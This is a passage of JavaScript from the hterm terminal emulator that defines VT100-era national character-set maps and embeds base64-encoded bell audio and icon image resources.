*/hterm.VT.CharacterMaps.prototype.setOverrides = function (maps) { if (this.maps_ === this.mapsBase_) this.maps_ = Object.assign({}, this.mapsBase_); for (var name in maps) { var map = this.getMap(name); if (map !== undefined) { this.maps_[name] = map.clone(); this.maps_[name].setOverrides(maps[name]); } else this.addMap(name, new hterm.VT.CharacterMap('user ' + name, maps[name])); } };/**
* The default set of supported character maps.
*/hterm.VT.CharacterMaps.DefaultMaps = {};/**
* VT100 Graphic character map.
* http://vt100.net/docs/vt220-rm/table2-4.html
*/hterm.VT.CharacterMaps.DefaultMaps['0'] = new hterm.VT.CharacterMap('graphic', {
'\x60': '\u25C6',// ` -> diamond
'\x61': '\u2592',// a -> grey-box
'\x62': '\u2409',// b -> h/t
'\x63': '\u240C',// c -> f/f
'\x64': '\u240D',// d -> c/r
'\x65': '\u240A',// e -> l/f
'\x66': '\xB0',// f -> degree
'\x67': '\xB1',// g -> +/-
'\x68': '\u2424',// h -> n/l
'\x69': '\u240B',// i -> v/t
'\x6a': '\u2518',// j -> bottom-right
'\x6b': '\u2510',// k -> top-right
'\x6c': '\u250C',// l -> top-left
'\x6d': '\u2514',// m -> bottom-left
'\x6e': '\u253C',// n -> line-cross
'\x6f': '\u23BA',// o -> scan1
'\x70': '\u23BB',// p -> scan3
'\x71': '\u2500',// q -> scan5
'\x72': '\u23BC',// r -> scan7
'\x73': '\u23BD',// s -> scan9
'\x74': '\u251C',// t -> left-tee
'\x75': '\u2524',// u -> right-tee
'\x76': '\u2534',// v -> bottom-tee
'\x77': '\u252C',// w -> top-tee
'\x78': '\u2502',// x -> vertical-line
'\x79': '\u2264',// y -> less-equal
'\x7a': '\u2265',// z -> greater-equal
'\x7b': '\u03C0',// { -> pi
'\x7c': '\u2260',// | -> not-equal
'\x7d': '\xA3',// } -> british-pound
'\x7e': '\xB7'// ~ -> dot
});/**
* British character map.
* http://vt100.net/docs/vt220-rm/table2-5.html
*/hterm.VT.CharacterMaps.DefaultMaps['A'] = new hterm.VT.CharacterMap('british', {
'\x23': '\xA3'// # -> british-pound
});/**
* US ASCII map, no changes.
*/hterm.VT.CharacterMaps.DefaultMaps['B'] = new hterm.VT.CharacterMap('us', null);/**
* Dutch character map.
* http://vt100.net/docs/vt220-rm/table2-6.html
*/hterm.VT.CharacterMaps.DefaultMaps['4'] = new hterm.VT.CharacterMap('dutch', {
'\x23': '\xA3',// # -> british-pound
'\x40': '\xBE',// @ -> 3/4
'\x5b': '\u0132',// [ -> 'ij' ligature (xterm goes with \u00ff?)
'\x5c': '\xBD',// \ -> 1/2
'\x5d': '|',// ] -> vertical bar
'\x7b': '\xA8',// { -> two dots
'\x7c': 'f',// | -> f
'\x7d': '\xBC',// } -> 1/4
'\x7e': '\xB4'// ~ -> acute
});/**
* Finnish character map.
* http://vt100.net/docs/vt220-rm/table2-7.html
*/hterm.VT.CharacterMaps.DefaultMaps['C'] = hterm.VT.CharacterMaps.DefaultMaps['5'] = new hterm.VT.CharacterMap('finnish', {
'\x5b': '\xC4',// [ -> 'A' umlaut
'\x5c': '\xD6',// \ -> 'O' umlaut
'\x5d': '\xC5',// ] -> 'A' ring
'\x5e': '\xDC',// ~ -> 'u' umlaut
'\x60': '\xE9',// ` -> 'e' acute
'\x7b': '\xE4',// { -> 'a' umlaut
'\x7c': '\xF6',// | -> 'o' umlaut
'\x7d': '\xE5',// } -> 'a' ring
'\x7e': '\xFC'// ~ -> 'u' umlaut
});/**
* French character map.
* http://vt100.net/docs/vt220-rm/table2-8.html
*/hterm.VT.CharacterMaps.DefaultMaps['R'] = new hterm.VT.CharacterMap('french', {
'\x23': '\xA3',// # -> british-pound
'\x40': '\xE0',// @ -> 'a' grave
'\x5b': '\xB0',// [ -> ring
'\x5c': '\xE7',// \ -> 'c' cedilla
'\x5d': '\xA7',// ] -> section symbol (double s)
'\x7b': '\xE9',// { -> 'e' acute
'\x7c': '\xF9',// | -> 'u' grave
'\x7d': '\xE8',// } -> 'e' grave
'\x7e': '\xA8'// ~ -> umlaut
});/**
* French Canadian character map.
* http://vt100.net/docs/vt220-rm/table2-9.html
*/hterm.VT.CharacterMaps.DefaultMaps['Q'] = new hterm.VT.CharacterMap('french canadian', {
'\x40': '\xE0',// @ -> 'a' grave
'\x5b': '\xE2',// [ -> 'a' circumflex
'\x5c': '\xE7',// \ -> 'c' cedilla
'\x5d': '\xEA',// ] -> 'e' circumflex
'\x5e': '\xEE',// ^ -> 'i' circumflex
'\x60': '\xF4',// ` -> 'o' circumflex
'\x7b': '\xE9',// { -> 'e' acute
'\x7c': '\xF9',// | -> 'u' grave
'\x7d': '\xE8',// } -> 'e' grave
'\x7e': '\xFB'// ~ -> 'u' circumflex
});/**
* German character map.
* http://vt100.net/docs/vt220-rm/table2-10.html
*/hterm.VT.CharacterMaps.DefaultMaps['K'] = new hterm.VT.CharacterMap('german', {
'\x40': '\xA7',// @ -> section symbol (double s)
'\x5b': '\xC4',// [ -> 'A' umlaut
'\x5c': '\xD6',// \ -> 'O' umlaut
'\x5d': '\xDC',// ] -> 'U' umlaut
'\x7b': '\xE4',// { -> 'a' umlaut
'\x7c': '\xF6',// | -> 'o' umlaut
'\x7d': '\xFC',// } -> 'u' umlaut
'\x7e': '\xDF'// ~ -> eszett
});/**
* Italian character map.
* http://vt100.net/docs/vt220-rm/table2-11.html
*/hterm.VT.CharacterMaps.DefaultMaps['Y'] = new hterm.VT.CharacterMap('italian', {
'\x23': '\xA3',// # -> british-pound
'\x40': '\xA7',// @ -> section symbol (double s)
'\x5b': '\xB0',// [ -> ring
'\x5c': '\xE7',// \ -> 'c' cedilla
'\x5d': '\xE9',// ] -> 'e' acute
'\x60': '\xF9',// ` -> 'u' grave
'\x7b': '\xE0',// { -> 'a' grave
'\x7c': '\xF2',// | -> 'o' grave
'\x7d': '\xE8',// } -> 'e' grave
'\x7e': '\xEC'// ~ -> 'i' grave
});/**
* Norwegian/Danish character map.
* http://vt100.net/docs/vt220-rm/table2-12.html
*/hterm.VT.CharacterMaps.DefaultMaps['E'] = hterm.VT.CharacterMaps.DefaultMaps['6'] = new hterm.VT.CharacterMap('norwegian/danish', {
'\x40': '\xC4',// @ -> 'A' umlaut
'\x5b': '\xC6',// [ -> 'AE' ligature
'\x5c': '\xD8',// \ -> 'O' stroke
'\x5d': '\xC5',// ] -> 'A' ring
'\x5e': '\xDC',// ^ -> 'U' umlaut
'\x60': '\xE4',// ` -> 'a' umlaut
'\x7b': '\xE6',// { -> 'ae' ligature
'\x7c': '\xF8',// | -> 'o' stroke
'\x7d': '\xE5',// } -> 'a' ring
'\x7e': '\xFC'// ~ -> 'u' umlaut
});/**
* Spanish character map.
* http://vt100.net/docs/vt220-rm/table2-13.html
*/hterm.VT.CharacterMaps.DefaultMaps['Z'] = new hterm.VT.CharacterMap('spanish', {
'\x23': '\xA3',// # -> british-pound
'\x40': '\xA7',// @ -> section symbol (double s)
'\x5b': '\xA1',// [ -> '!' inverted
'\x5c': '\xD1',// \ -> 'N' tilde
'\x5d': '\xBF',// ] -> '?' inverted
'\x7b': '\xB0',// { -> ring
'\x7c': '\xF1',// | -> 'n' tilde
'\x7d': '\xE7'// } -> 'c' cedilla
});/**
* Swedish character map.
* http://vt100.net/docs/vt220-rm/table2-14.html
*/hterm.VT.CharacterMaps.DefaultMaps['7'] = hterm.VT.CharacterMaps.DefaultMaps['H'] = new hterm.VT.CharacterMap('swedish', {
'\x40': '\xC9',// @ -> 'E' acute
'\x5b': '\xC4',// [ -> 'A' umlaut
'\x5c': '\xD6',// \ -> 'O' umlaut
'\x5d': '\xC5',// ] -> 'A' ring
'\x5e': '\xDC',// ^ -> 'U' umlaut
'\x60': '\xE9',// ` -> 'e' acute
'\x7b': '\xE4',// { -> 'a' umlaut
'\x7c': '\xF6',// | -> 'o' umlaut
'\x7d': '\xE5',// } -> 'a' ring
'\x7e': '\xFC'// ~ -> 'u' umlaut
});/**
* Swiss character map.
* http://vt100.net/docs/vt220-rm/table2-15.html
*/hterm.VT.CharacterMaps.DefaultMaps['='] = new hterm.VT.CharacterMap('swiss', {
'\x23': '\xF9',// # -> 'u' grave
'\x40': '\xE0',// @ -> 'a' grave
'\x5b': '\xE9',// [ -> 'e' acute
'\x5c': '\xE7',// \ -> 'c' cedilla
'\x5d': '\xEA',// ] -> 'e' circumflex
'\x5e': '\xEE',// ^ -> 'i' circumflex
'\x5f': '\xE8',// _ -> 'e' grave
'\x60': '\xF4',// ` -> 'o' circumflex
'\x7b': '\xE4',// { -> 'a' umlaut
'\x7c': '\xF6',// | -> 'o' umlaut
'\x7d': '\xFC',// } -> 'u' umlaut
'\x7e': '\xFB'// ~ -> 'u' circumflex
}); lib.resource.add('hterm/audio/bell', 'audio/ogg;base64', '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' + 'zinmkFLKMeUcUko5p5xTzjkIHYTKMQadgxAppRxTzinHHITMQeWcg9BBKAAAIMABACDAQig0ZEUA' + 'ECcA4HAkz5M0SxQlSxNFzxRl1xNN15U0zTQ1UVRVyxNV1VRV2xZNVbYlTRNNTfRUVRNFVRVV05ZN' + 'VbVtzzRl2VRV3RZV1bZl2xZ+V5Z13zNNWRZV1dZNVbV115Z9X9ZtXZg0zTQ1UVRVTRRV1VRV2zZV' + '17Y1UXRVUVVlWVRVWXZlWfdVV9Z9SxRV1VNN2RVVVbZV2fVtVZZ94XRVXVdl2fdVWRZ+W9eF4fZ9' + '4RhV1dZN19V1VZZ9YdZlYbd13yhpmmlqoqiqmiiqqqmqtm2qrq1bouiqoqrKsmeqrqzKsq+rrmzr' + 'miiqrqiqsiyqqiyrsqz7qizrtqiquq3KsrCbrqvrtu8LwyzrunCqrq6rsuz7qizruq3rxnHrujB8' + 'pinLpqvquqm6um7runHMtm0co6rqvirLwrDKsu/rui+0dSFRVXXdlF3jV2VZ921fd55b94WybTu/' + 'rfvKceu60vg5z28cubZtHLNuG7+t+8bzKz9hOI6lZ5q2baqqrZuqq+uybivDrOtCUVV9XZVl3zdd' + 'WRdu3zeOW9eNoqrquirLvrDKsjHcxm8cuzAcXds2jlvXnbKtC31jyPcJz2vbxnH7OuP2daOvDAnH' + 'jwAAgAEHAIAAE8pAoSErAoA4AQAGIecUUxAqxSB0EFLqIKRUMQYhc05KxRyUUEpqIZTUKsYgVI5J' + 'yJyTEkpoKZTSUgehpVBKa6GU1lJrsabUYu0gpBZKaS2U0lpqqcbUWowRYxAy56RkzkkJpbQWSmkt' + 'c05K56CkDkJKpaQUS0otVsxJyaCj0kFIqaQSU0mptVBKa6WkFktKMbYUW24x1hxKaS2kEltJKcYU' + 'U20txpojxiBkzknJnJMSSmktlNJa5ZiUDkJKmYOSSkqtlZJSzJyT0kFIqYOOSkkptpJKTKGU1kpK' + 'sYVSWmwx1pxSbDWU0lpJKcaSSmwtxlpbTLV1EFoLpbQWSmmttVZraq3GUEprJaUYS0qxtRZrbjHm' + 'GkppraQSW0mpxRZbji3GmlNrNabWam4x5hpbbT3WmnNKrdbUUo0txppjbb3VmnvvIKQWSmktlNJi' + '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' + 'm2L/kruPM6Q7oz4tvDQy+bZ3HzOi+gNHA4DZEgA='); lib.resource.add('hterm/images/icon-96', 'image/png;base64', 'iVBORw0KGgoAAAANSUhEUgAAAGAAAABgCAYAAADimHc4AAAStklEQVR42u1dBXjrupL+RzIGmjIf' + 'vAcu42NmZub3lpmZmZmZmRkuMzPDYaYyJG0Sa9b2p2z1eQtp7bzefpv/nKnkkSw7Gg1IshNsDtpo' + 'o4022mijDWp/tlTgzbpJSqYvMoFTC9vjRD5JLb9RYaRkpk22SS28P8pacAaPdZ41KYMCI89YB6wN' + '3JzQJM3UIGqurfTlKQTAZtqENid5SlNdU804VmbbWQtA6HMkAAdADsBeAJ7mxwIhIhFSXJ9iRPw4' + 'JYDEcqmGWEp1HhCI8gAtpXF7scB1ZRH9E3HObANCNy1AoGTegNDnCdE41tfQDH2t+CINQEpJ9Xp9' + '7oUDh3+nXK48DYAMIWQmANIkNTn6vP69e3d/zctfeu0nXNexmVn3F0gDAMxMlBoHuht0qnsEEekC' + '42SdGHmNxgVjgk4bPN04Yui8bhc534cQBH35RKrPN9sGdLnB1/Wuv+HW4f+6/tZvBHAaAJvmKr0A' + 'jJGvyQMw8pLrrvqeT378Ax8UwrKeevoFgEhfjcGGO2JO+iuTt1SW5DHzyraDExyTlWwHjCQ/CAJc' + 'ecU+XHn5xWDmVCGQFAKljsLbx8Ynvv3Bhx7/EQCzurimU04jADLsvK3r73/7W1//g1/6hU++uVqt' + '0X/dcBcKxRIsy9Ji34DPow2et6FzgcXFKk6fOY83vu4VEFKkDiYHB3roSz73sc+Oj08eOHzk+B9o' + 'MyQABGk0gCIyOt9xHPvaD3/wnT/5VV/+meumpmbwD/98A0qdvVEBNhvMDCJaVXtM01GtVlEs+LBt' + 'C1ngzW98tX/m7Llv/emf+83HarX6vbrfGECQRgBmlLP9Ix961499+zd/5XVj45P407/8FxQ7uiGl' + 'QK1Ww1ZCvR6gXq3AsgQ8zwYzUkMIgXe+/Q1Dd9x5/6duv/P+R7QjprQaIHQd/8orLvnCJz/2/pfm' + 'cj7+6rf+DK5XgOu6sT3dQtBawqjW6lhYXIRlSTAjE/T39eLSS/ZeEwqgE8CiYUV4vQIgTULTyFve' + 